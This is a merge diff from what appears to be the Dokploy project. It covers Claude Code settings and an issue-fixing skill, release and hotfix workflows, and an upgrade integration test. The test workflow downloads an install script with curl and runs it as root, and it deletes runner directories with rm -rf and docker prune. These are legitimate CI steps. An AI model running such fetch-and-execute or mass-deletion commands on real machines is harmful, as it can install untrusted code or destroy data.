Merge canary and resolve conflicts

.claude/settings.json

@@ -0,0 +1,22 @@
+{
+	"worktree": {
+		"baseRef": "fresh"
+	},
+	"hooks": {
+		"PostToolUse": [
+			{
+				"matcher": "EnterWorktree",
+				"hooks": [
+					{
+						"type": "command",
+						"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
+					},
+					{
+						"type": "command",
+						"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
+					}
+				]
+			}
+		]
+	}
+}

.claude/skills/fix-issue/SKILL.md

@@ -0,0 +1,55 @@
+---
+name: fix-issue
+description: Implement a GitHub issue with reproduction and verification
+allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
+---
+
+The issue number is passed as $1.
+
+## Instance
+
+No instance is running yet — start your own, isolated to this worktree:
+
+1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
+2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
+   background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
+   until it answers (usually ~10-15s).
+3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
+
+Note: `mcp__dokploy__*` (this repo's `.mcp.json`) resolves its URL from
+`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
+discovered mid-session. If those tools are unavailable or point at the wrong
+instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
+to relaunch with `DOKPLOY_BASE_URL` exported first.
+
+## Tools
+
+- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
+  state (create a project, an app, an env var) and to verify backend behavior.
+  Search for the tool you need; they are not all loaded upfront.
+- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
+  a user would see or click.
+
+Pick by where the bug lives, not by convenience:
+
+- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
+  The API returning correct data proves nothing here.
+- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
+  A green screenshot proves nothing here.
+- Unclear → do both.
+
+Use the MCP to reach the state you need quickly, then verify in the UI. Do not
+click through ten screens to create a project the API can create in one call.
+
+## Steps
+
+1. Run `gh issue view $1` and read the full issue, including comments.
+2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
+   comment on the issue explaining what you tried and STOP.
+   Do not implement anything.
+3. Implement the fix. Keep the change minimal and scoped to the issue.
+4. Run `pnpm test`, then re-run the same reproduction from step 2.
+5. Only if both pass: commit and run `gh pr create`. The PR description must
+   include the before/after reproduction steps and reference the issue.
+
+Never skip step 2. A fix you cannot reproduce and then verify is not a fix.

.github/workflows/dokploy.yml

@@ -140,6 +140,7 @@ jobs:
     runs-on: ubuntu-latest
     outputs:
       version: ${{ steps.get_version.outputs.version }}
+      npm_version: ${{ steps.get_version.outputs.npm_version }}
     steps:
       - name: Checkout
         uses: actions/checkout@v4
@@ -151,6 +152,7 @@ jobs:
         run: |
           VERSION=$(node -p "require('./apps/dokploy/package.json').version")
           echo "version=$VERSION" >> $GITHUB_OUTPUT
+          echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
 
       - name: Fetch install.sh
         run: |
@@ -164,6 +166,7 @@ jobs:
         uses: softprops/action-gh-release@v2
         with:
           tag_name: ${{ steps.get_version.outputs.version }}
+          target_commitish: ${{ github.sha }}
           name: ${{ steps.get_version.outputs.version }}
           generate_release_notes: true
           draft: false
@@ -180,71 +183,82 @@ jobs:
       - name: Checkout
         uses: actions/checkout@v4
 
+      - uses: pnpm/action-setup@v4
+        with:
+          version: 10.22.0
+
+      - uses: actions/setup-node@v4
+        with:
+          node-version: 24.4.0
+          cache: pnpm
+
+      - name: Generate OpenAPI specification
+        run: |
+          pnpm install --frozen-lockfile
+          pnpm generate:openapi
+
       - name: Sync version to MCP repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
           cd /tmp/mcp-repo
 
-          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
-          npm install -g pnpm
+          cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
           pnpm install
-          pnpm run fetch-openapi
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
             -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
+          echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
 
       - name: Sync version to CLI repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
           cd /tmp/cli-repo
 
-          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
           cp ${{ github.workspace }}/openapi.json ./openapi.json
-          npm install -g pnpm
           pnpm install
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
             -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
+          echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
 
       - name: Sync version to SDK repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
           cd /tmp/sdk-repo
 
-          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
           cp ${{ github.workspace }}/openapi.json ./openapi.json
-          npm install -g pnpm
           pnpm install
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
             -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
+          echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"

.github/workflows/format.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v4
+        uses: actions/checkout@v5
 
       - name: Setup biomeJs
         uses: biomejs/setup-biome@v2  
@@ -19,4 +19,4 @@ jobs:
       - name: Run Biome formatter
         run:  biome format --write
 
-      - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
+      - uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4

.github/workflows/hotfix-cherry-pick.yml

@@ -0,0 +1,49 @@
+name: Hotfix Cherry-Pick
+
+on:
+  pull_request_target:
+    types: [closed, labeled]
+
+concurrency:
+  group: hotfix-to-main
+  cancel-in-progress: false
+
+jobs:
+  cherry-pick:
+    if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout main
+        uses: actions/checkout@v4
+        with:
+          ref: main
+          fetch-depth: 0
+          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+      - name: Cherry-pick fix to main
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          SHA="${{ github.event.pull_request.merge_commit_sha }}"
+          if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
+            git cherry-pick -x -m 1 "$SHA"
+          else
+            git cherry-pick -x "$SHA"
+          fi
+          git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
+          git push origin main
+
+      - name: Sync cherry-pick back into canary
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          git fetch origin canary main
+          git checkout -B canary origin/canary
+          if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
+            git merge --abort
+            echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
+            exit 1
+          fi
+          git push origin canary

.github/workflows/hotfix-release.yml

@@ -0,0 +1,28 @@
+name: Hotfix Release
+
+on:
+  workflow_dispatch:
+
+concurrency:
+  group: hotfix-to-main
+  cancel-in-progress: false
+
+jobs:
+  release:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout main
+        uses: actions/checkout@v4
+        with:
+          ref: main
+          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+      - name: Bump patch version and push
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
+          NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
+          sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
+          git commit -am "chore: release ${NEW}"
+          git push origin main

.github/workflows/pull-request.yml

@@ -14,9 +14,9 @@ jobs:
       matrix:
         job: [build, test, typecheck]
     steps:
-      - uses: actions/checkout@v4
-      - uses: pnpm/action-setup@v4
-      - uses: actions/setup-node@v4
+      - uses: actions/checkout@v5
+      - uses: pnpm/action-setup@v5
+      - uses: actions/setup-node@v5
         with:
           node-version: 24.4.0
           cache: "pnpm"

.github/workflows/upgrade-integration-test.yml

@@ -0,0 +1,437 @@
+# Upgrade Integration Test
+#
+# Tests that Dokploy can upgrade from version A to version B while keeping
+# user projects (Postgres, MongoDB, two web apps, one static site) alive.
+#
+# Generates upgrade pairs: each stable tag in [floor_version, target_version)
+# is paired with target_version. If target_version is empty, the highest tag
+# available on Docker Hub is used as the target.
+#
+# Only triggered manually to avoid burning Actions minutes.
+
+name: Upgrade Integration Test
+
+on:
+  workflow_dispatch:
+    inputs:
+      floor_version:
+        description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
+        required: false
+        default: 'v0.29.4'
+      target_version:
+        description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
+        required: false
+        default: ''
+
+env:
+  DOKPLOY_IMAGE:   dokploy/dokploy
+  DOKPLOY_SERVICE: dokploy
+  DOKPLOY_PORT:    3000
+
+# ──────────────────────────────────────────────────────────────────────────────
+jobs:
+
+  # ── 1. Build the matrix ─────────────────────────────────────────────────────
+  build-matrix:
+    name: Build upgrade pair matrix
+    runs-on: ubuntu-latest
+    outputs:
+      pairs: ${{ steps.pairs.outputs.pairs }}
+
+    steps:
+      - name: Generate pairs
+        id: pairs
+        env:
+          FLOOR:  ${{ inputs.floor_version }}
+          TARGET: ${{ inputs.target_version }}
+        run: |
+          set -euo pipefail
+
+          # semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
+          ge() {
+            [ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
+          }
+
+          # Fetch all semver tags from Docker Hub (dokploy/dokploy)
+          ALL_TAGS=$(curl -fsSL \
+            "https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
+            jq -r '.results[].name' | \
+            grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
+            sort -V)
+
+          echo "All tags found:"
+          echo "$ALL_TAGS"
+
+          # Target version (version B): explicit input, else highest available.
+          if [ -n "$TARGET" ]; then
+            TO="$TARGET"
+            echo "Using user-supplied target version: $TO"
+          else
+            TO=$(echo "$ALL_TAGS" | tail -n1)
+            echo "No target supplied; using highest available: $TO"
+          fi
+
+          # Floor semver components
+          FLOOR_CLEAN="${FLOOR#v}"
+          IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
+
+          # Each tag in [FLOOR, TO) → TO
+          PAIRS='[]'
+          while read -r TAG; do
+            [ -z "$TAG" ] && continue
+            # skip tags above-or-equal to the target (incl. the target itself)
+            ge "$TAG" "$TO" && continue
+            TAG_CLEAN="${TAG#v}"
+            IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
+            if [ "$T_MAJ" -gt "$F_MAJ" ] || \
+               { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
+               { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
+              PAIRS=$(echo "$PAIRS" | jq -c \
+                --arg f "$TAG" --arg t "$TO" \
+                '. + [{"from":$f,"to":$t}]')
+            fi
+          done <<< "$ALL_TAGS"
+
+          COUNT=$(echo "$PAIRS" | jq 'length')
+          echo "Total pairs: $COUNT"
+          echo "$PAIRS" | jq -r '.[] | "  \(.from) → \(.to)"'
+
+          echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
+
+
+  # ── 2. Run one upgrade test per pair ────────────────────────────────────────
+  upgrade-test:
+    name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
+    needs: build-matrix
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
+
+    steps:
+
+      # ── Environment setup ──────────────────────────────────────────────────
+      - name: Free disk space
+        run: |
+          sudo rm -rf \
+            /usr/share/dotnet /opt/ghc /usr/local/share/boost \
+            "$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
+            /usr/local/share/chromium /opt/hostedtoolcache
+          docker system prune -af --volumes
+          df -h
+
+      # ── Install Dokploy directly at VERSION A ──────────────────────────────
+      # install.sh:
+      #   • requires root (run via sudo bash)
+      #   • respects DOKPLOY_VERSION → installs that tag directly
+      #     (so we don't need a separate "downgrade" step that would risk
+      #     running B's migrations on A's expected schema)
+      #   • respects ADVERTISE_ADDR → skip the external IP lookup
+      #   • initializes Docker Swarm + dokploy-network itself
+      - name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
+        run: |
+          curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
+          chmod +x /tmp/install.sh
+          sudo -E env \
+            DOKPLOY_VERSION="${{ matrix.pair.from }}" \
+            ADVERTISE_ADDR="127.0.0.1" \
+            bash /tmp/install.sh
+
+      - name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
+        run: |
+          echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
+          timeout 240 bash -c '
+            until docker service ls --filter name=dokploy \
+                    --format "{{.Name}} {{.Replicas}}" \
+                  | grep "^dokploy " | grep -q " 1/1"; do
+              sleep 4
+            done
+          '
+          docker service ls
+          echo "✅ Service running on ${{ matrix.pair.from }}"
+
+      - name: Wait for Dokploy API to accept requests
+        run: |
+          timeout 180 bash -c '
+            until curl -sf -o /dev/null \
+                       "http://localhost:${{ env.DOKPLOY_PORT }}"; do
+              sleep 3
+            done
+          '
+          echo "✅ Dokploy API is up"
+
+      # ── Bootstrap admin user ───────────────────────────────────────────────
+      - name: Register first admin user
+        id: auth
+        run: |
+          COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
+          : > "$COOKIE_JAR"
+          chmod 600 "$COOKIE_JAR"
+          echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
+
+          # better-auth: sign-up/email (allowed only before any owner exists)
+          set -x
+          curl -sS -i -X POST \
+            "http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
+            -H "Content-Type: application/json" \
+            -c "$COOKIE_JAR" -b "$COOKIE_JAR" \
+            -d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
+            | tee /tmp/signup.out
+          set +x
+
+          # Verify we got a session cookie
+          if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
+            echo "⚠️  No session cookie matched expected name; jar contents:"
+            cat "$COOKIE_JAR"
+          fi
+
+      # ── Create test resources ──────────────────────────────────────────────
+      - name: Create project, databases and applications
+        id: create
+        env:
+          BASE:   "http://localhost:${{ env.DOKPLOY_PORT }}"
+          COOKIE: ${{ steps.auth.outputs.cookie_jar }}
+        run: |
+          set -euo pipefail
+
+          # --- tRPC POST helper ---
+          trpc_mut() {
+            curl -sf -X POST "$BASE/api/trpc/$1" \
+              -H "Content-Type: application/json" \
+              -b "$COOKIE" -c "$COOKIE" \
+              -d "{\"json\":$2}"
+          }
+
+          # --- Project ---
+          PROJECT=$(trpc_mut project.create \
+            '{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
+          echo "project.create → $PROJECT"
+
+          # project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
+          PROJECT_ID=$(echo "$PROJECT" | jq -r \
+            '.result.data.json.project.projectId // .result.data.json.projectId // empty')
+          ENV_ID=$(echo "$PROJECT" | jq -r \
+            '.result.data.json.environment.environmentId // empty')
+
+          if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
+            echo "❌ Could not extract projectId from project.create response:"
+            echo "$PROJECT" | jq .
+            exit 1
+          fi
+          if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
+            echo "❌ Could not extract environmentId — this version may not support environments."
+            echo "   project.create response: $PROJECT"
+            exit 1
+          fi
+
+          echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
+          echo "env_id=$ENV_ID"         >> "$GITHUB_OUTPUT"
+          echo "Detected PROJECT_ID=$PROJECT_ID  ENV_ID=$ENV_ID"
+
+          # --- PostgreSQL 15 ---
+          PG=$(trpc_mut postgres.create \
+            "{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
+              \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
+              \"databasePassword\":\"CiPg1pass\",\
+              \"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
+          echo "postgres.create → $PG"
+          PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
+          # deploy (not start) — deploy creates the Swarm service; start only
+          # scales an already-deployed service and 500s on a fresh resource.
+          trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
+          echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
+
+          # --- MongoDB 7.0 ---
+          MG=$(trpc_mut mongo.create \
+            "{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
+              \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
+              \"databasePassword\":\"CiMg1pass\",\
+              \"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
+          echo "mongo.create → $MG"
+          MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
+          trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
+          echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
+
+          # --- Docker-image application helper ---
+          make_app() {
+            local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
+            APP=$(trpc_mut application.create \
+              "{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
+            APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
+            trpc_mut application.saveDockerProvider \
+              "{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
+                \"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
+              > /dev/null
+            trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
+              > /dev/null
+            echo "$APP_ID"
+          }
+
+          # Static site (nginx)
+          APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
+          echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
+
+          # Node.js hello-world (echo server image — small, no args needed)
+          APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
+          echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
+
+          # Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
+          APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
+          echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
+
+          echo "✅ All resources created"
+
+      # ── Pre-upgrade health check ───────────────────────────────────────────
+      - name: Wait for all services → 'done' (pre-upgrade)
+        env:
+          BASE:          "http://localhost:${{ env.DOKPLOY_PORT }}"
+          COOKIE:        ${{ steps.auth.outputs.cookie_jar }}
+          PG_ID:         ${{ steps.create.outputs.pg_id }}
+          MG_ID:         ${{ steps.create.outputs.mg_id }}
+          APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
+          APP_NODE_ID:   ${{ steps.create.outputs.app_node_id }}
+          APP_GO_ID:     ${{ steps.create.outputs.app_go_id }}
+        run: |
+          wait_done() {
+            local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
+            echo "Waiting for $NAME to reach 'done'..."
+            timeout 360 bash -c "
+              until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
+                        --data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
+                        -b '$COOKIE' | \
+                        jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
+                      = 'done' ]; do
+                sleep 5
+              done
+            "
+            echo "✅ $NAME is done"
+          }
+
+          wait_done postgres  postgres.one    postgresId    "$PG_ID"         applicationStatus
+          wait_done mongo     mongo.one       mongoId       "$MG_ID"         applicationStatus
+          wait_done static    application.one applicationId "$APP_STATIC_ID" applicationStatus
+          wait_done node-app  application.one applicationId "$APP_NODE_ID"   applicationStatus
+          wait_done go-app    application.one applicationId "$APP_GO_ID"     applicationStatus
+
+      - name: Assert Docker Swarm services healthy (pre-upgrade)
+        run: |
+          echo "=== docker service ls ==="
+          docker service ls
+
+          FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
+            grep -E '^ci-' | grep -v ' 1/1' || true)
+          if [ -n "$FAIL" ]; then
+            echo "❌ User services not healthy before upgrade:"
+            echo "$FAIL"
+            exit 1
+          fi
+          echo "✅ All user services healthy before upgrade"
+
+      # ── Upgrade ────────────────────────────────────────────────────────────
+      - name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
+        run: |
+          docker service update \
+            --image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
+            --force \
+            "${{ env.DOKPLOY_SERVICE }}"
+
+          echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
+          timeout 240 bash -c '
+            until ! docker service inspect dokploy \
+                    --format "{{.UpdateStatus.State}}" 2>/dev/null \
+                  | grep -q "^updating$"; do
+              sleep 4
+            done
+            until docker service ls --filter name=dokploy \
+                    --format "{{.Name}} {{.Replicas}}" \
+                  | grep "^dokploy " | grep -q " 1/1"; do
+              sleep 4
+            done
+          '
+          echo "✅ Service running on ${{ matrix.pair.to }}"
+
+      - name: Wait for Dokploy API to respond post-upgrade
+        run: |
+          timeout 180 bash -c '
+            until curl -sf -o /dev/null \
+                       "http://localhost:${{ env.DOKPLOY_PORT }}"; do
+              sleep 3
+            done
+          '
+          echo "✅ Dokploy API is up after upgrade"
+
+      # ── Post-upgrade health check ──────────────────────────────────────────
+      - name: Verify all services still healthy (post-upgrade)
+        env:
+          BASE:          "http://localhost:${{ env.DOKPLOY_PORT }}"
+          COOKIE:        ${{ steps.auth.outputs.cookie_jar }}
+          PG_ID:         ${{ steps.create.outputs.pg_id }}
+          MG_ID:         ${{ steps.create.outputs.mg_id }}
+          APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
+          APP_NODE_ID:   ${{ steps.create.outputs.app_node_id }}
+          APP_GO_ID:     ${{ steps.create.outputs.app_go_id }}
+        run: |
+          check_status() {
+            local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
+            STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
+              --data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
+              -b "$COOKIE" | \
+              jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
+            if [ "$STATUS" != "done" ]; then
+              echo "❌ $NAME status after upgrade: $STATUS"
+              return 1
+            fi
+            echo "✅ $NAME: $STATUS"
+          }
+
+          check_status postgres  postgres.one    postgresId    "$PG_ID"         applicationStatus
+          check_status mongo     mongo.one       mongoId       "$MG_ID"         applicationStatus
+          check_status static    application.one applicationId "$APP_STATIC_ID" applicationStatus
+          check_status node-app  application.one applicationId "$APP_NODE_ID"   applicationStatus
+          check_status go-app    application.one applicationId "$APP_GO_ID"     applicationStatus
+
+          echo "=== docker service ls (post-upgrade) ==="
+          docker service ls
+
+          FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
+            grep -E '^ci-' | grep -v ' 1/1' || true)
+          if [ -n "$FAIL" ]; then
+            echo "❌ User services not healthy after upgrade:"
+            echo "$FAIL"
+            exit 1
+          fi
+          echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
+
+      # ── Diagnostics on failure ─────────────────────────────────────────────
+      - name: Dump state on failure
+        if: failure()
+        run: |
+          echo "=== docker service ls ===" && docker service ls || true
+          echo "=== dokploy service tasks ===" && \
+            docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
+          echo "=== dokploy logs (last 200) ===" && \
+            docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
+          echo "=== install.sh tail ===" && \
+            tail -100 /tmp/install.sh 2>&1 || true
+          echo "=== signup response ===" && \
+            cat /tmp/signup.out 2>&1 || true
+          echo "=== disk usage ===" && df -h
+
+      # ── Job summary ────────────────────────────────────────────────────────
+      - name: Write job summary
+        if: always()
+        run: |
+          STATUS="${{ job.status }}"
+          ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
+          cat >> "$GITHUB_STEP_SUMMARY" <<EOF
+          ## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
+
+          | Service | Image |
+          |---------|-------|
+          | ci-pg-db | postgres:15 |
+          | ci-mongo-db | mongo:7.0 |
+          | ci-static-app | nginx:alpine (static site) |
+          | ci-node-app | ealen/echo-server (Node.js hello-world) |
+          | ci-go-app | traefik/whoami (Go HTTP server) |
+          EOF

.gitignore

@@ -43,4 +43,7 @@ yarn-error.log*
 *.pem
 
 
-.db
+.db
+
+.playwright-*
+.credentials

.worktreeinclude

@@ -0,0 +1,2 @@
+.env
+.env.local

CLAUDE.md

@@ -0,0 +1,6 @@
+## Code style
+- Don't write comments that restate what the code already says.
+- Comment only the "why" when something isn't obvious: workarounds,
+  counterintuitive decisions, constraints from an external API.
+- No section-divider comments like `// --- Helpers ---`.
+- Don't leave comments describing the change you just made.

CONTRIBUTING.md

@@ -120,12 +120,20 @@ pnpm run docker:push
 
 ## Password Reset
 
-In the case you lost your password, you can reset it using the following command
+In the case you lost your password, you can reset the owner's password using the following command
 
 ```bash
 pnpm run reset-password
 ```
 
+To reset the password of a specific user instead, pass their email as an argument
+
+```bash
+pnpm run reset-password -- user@example.com
+```
+
+Both commands print the new randomly generated password to the console.
+
 If you want to test the webhooks on development mode using localtunnel, make sure to install [`localtunnel`](https://localtunnel.app/)
 
 ```bash

Dockerfile

@@ -31,7 +31,7 @@ WORKDIR /app
 # Set production
 ENV NODE_ENV=production
 
-RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
+RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
 
 # Copy only the necessary files
 COPY --from=build /prod/dokploy/.next ./.next
@@ -69,5 +69,8 @@ EXPOSE 3000
 HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
   CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
 
+# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
+ENTRYPOINT ["/usr/bin/tini", "--"]
+
 # Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
   CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]

apps/api/package.json

@@ -28,7 +28,7 @@
 		"@types/react-dom": "^19.2.0",
 		"rimraf": "6.1.3",
 		"tsx": "^4.22.4",
-		"typescript": "^5.8.3"
+		"typescript": "^7.0.2"
 	},
 	"packageManager": "pnpm@10.22.0",
 	"engines": {

apps/api/tsconfig.json

@@ -2,13 +2,12 @@
 	"compilerOptions": {
 		"target": "ESNext",
 		"module": "ESNext",
-		"moduleResolution": "Node",
+		"moduleResolution": "bundler",
 		"strict": true,
 		"skipLibCheck": true,
 		"outDir": "dist",
+		"rootDir": "./src",
 		"jsx": "react-jsx",
-		"jsxImportSource": "hono/jsx",
-		"baseUrl": ".",
 		"paths": {
 			"@/*": ["./*"],
 			"@dokploy/server/*": ["../../packages/server/src/*"]

apps/dokploy/__test__/api/api-key-name.test.ts

@@ -0,0 +1,26 @@
